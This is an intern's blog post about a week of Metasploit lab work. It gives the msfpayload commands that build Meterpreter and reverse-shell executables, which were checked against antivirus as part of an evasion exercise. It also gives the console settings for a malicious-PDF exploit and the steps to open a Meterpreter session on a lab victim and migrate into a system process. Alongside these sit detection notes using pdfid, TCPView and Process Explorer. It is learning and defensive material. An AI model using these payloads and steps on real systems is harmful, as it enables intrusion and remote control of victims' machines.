SimWitty Internship: Week 4

This week I went a lot more in depth with my study of the Metasploit Framework (thank you offensive-security.com, I promise I will donate to HFC as soon as I can afford it). What is the main thing I learned this week?

Metasploit is scary!

I had done a lot of messing about with the msf3 in previous classes, but mainly just simple reverse shells. This week I started exploring some of Metasploit's other possibilities such as executable creation, malicious pdf creation, and usage of Meterpreter sessions. Meterpreter is the reason for my conclusion that msf3 is a scary tool.

For starters, I tried my hand at creating some executable files using msfpayload. This can be done from the command line without having to start the framework:

./msfpayload windows/meterpreter/bind_tcp LHOST=192.168.2.200 LPORT=31337 X > /home/tiger/temp/msf_met.bind.tcp.exe

I uploaded this file to VirusTotal and it was detected by 12/39 engines (link to results) As per the instructions in the Metasploit Unleashed lesson (ch 8, Antivirus Bypass) I attempted using a payload of type windows/shell/reverse_tcp:

./msfpayload windows/shell/reverse_tcp LHOST=192.168.2.200 LPORT=31337 X > /home/tiger/temp/msf_shell.rev.tcp.exe

This executable was still detected by 11/40 engines (link to results). Although both of these were detected by some of the antivirus engines, the antivirus on my machine (Avast) picked up neither.

Next I thought I would try my hand at a malicious pdf. I did this from within the console:

use exploit/windows/fileformat/adobe_utilprintf
set OUTPUTPATH /home/tiger/temp
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.2.200
set LPORT 31337

You then just use the exploit command and the file will be created. This was detected by 11/40 engines (link to results). Thankfully, this was actually identified by my AV as: JS:Pdfka-AK [Expl].

Using Didier Stevens pdfid (http://blog.didierstevens.com/programs/pdf-tools/) it can be seen that there is both JavaScript and an OpenAction within this file:

C:\Documents and Settings\Jeff\My Documents\VirtBox_shared>pdfid msf.pdf
PDFiD 0.0.9 msf.pdf
 PDF Header: %PDF-1.5
 obj                    6
 endobj                 6
 stream                 1
 endstream              1
 xref                   1
 trailer                1
 startxref              1
 /Page                  1(1)
 /Encrypt               0
 /ObjStm                0
 /JS                    1
 /JavaScript            1(1)
 /AA                    0
 /OpenAction            1(1)
 /AcroForm              0
 /JBIG2Decode           0
 /RichMedia             0
 /Colors > 2^24         0

If you want to use Didier's pdf-parser tool, you can even view the obfuscated JavaScript within the file.

[click any picture to see a large version of it]

Next I decided to experiment with Meterpreter sessions. I moved my msf_met.bind.tcp.exe file over to the VictimXP machine and double clicked it. It showed up in as a listener in netstat and as a process in Process Explorer.

I then fired up msfconsole. The following commands got me ready to run and connected to the victim:

set PAYLOAD windows/meterpreter/bind_tcp
show options
set RHOST 192.168.2.50
exploit

I was then in a Meterpreter session. By typing help or ? you can see what commands are available to you. I did a ps to see what processes were running on VictimXP.

and decided that since spoolsv.exe (PID 1880) was running as system, I would migrate there. I did this by typing migrate 1880. Meterpreter responded that migration was successful. Here you can see that the msf_met.bind.tcp.exe process has disappeared.

Curiously, netstat still showed the connection as established, but listed the the owning PID as 1240. This was the PID of msf_met.bind.tcp.exe. Attempting taskkill /PID 1240 resulted in an error.

If we use Process Explorer to look at spoolsv.exe it doesn't show any open connections.

It would seem that we can see something is established, but we can't stop it. Thank God for TCPView.

Here we see PID 1240 as non-existent, but TCPView allows us to close the connection with a right click. After closing the connection with TCPView, I moved back over the the Meterpreter session. There was no warning of a disconnect, but when I issued a help command I was notified that the session had closed.

It is possible to notice something is strange on the victim machine by using Process Explorer, but the following methods would assume you knew a baseline memory size/handle count for every running process. We can see the changes by comparing the memory sizes of the spoolsv.exe process before...

and after...

...the migration of the Meterpreter session. The virtual memory, physical memory, and handle counts have all changed.

See what I mean about scary?

This has been a very interesting week, and I really look forward to working with the Metasploit Framework a lot more.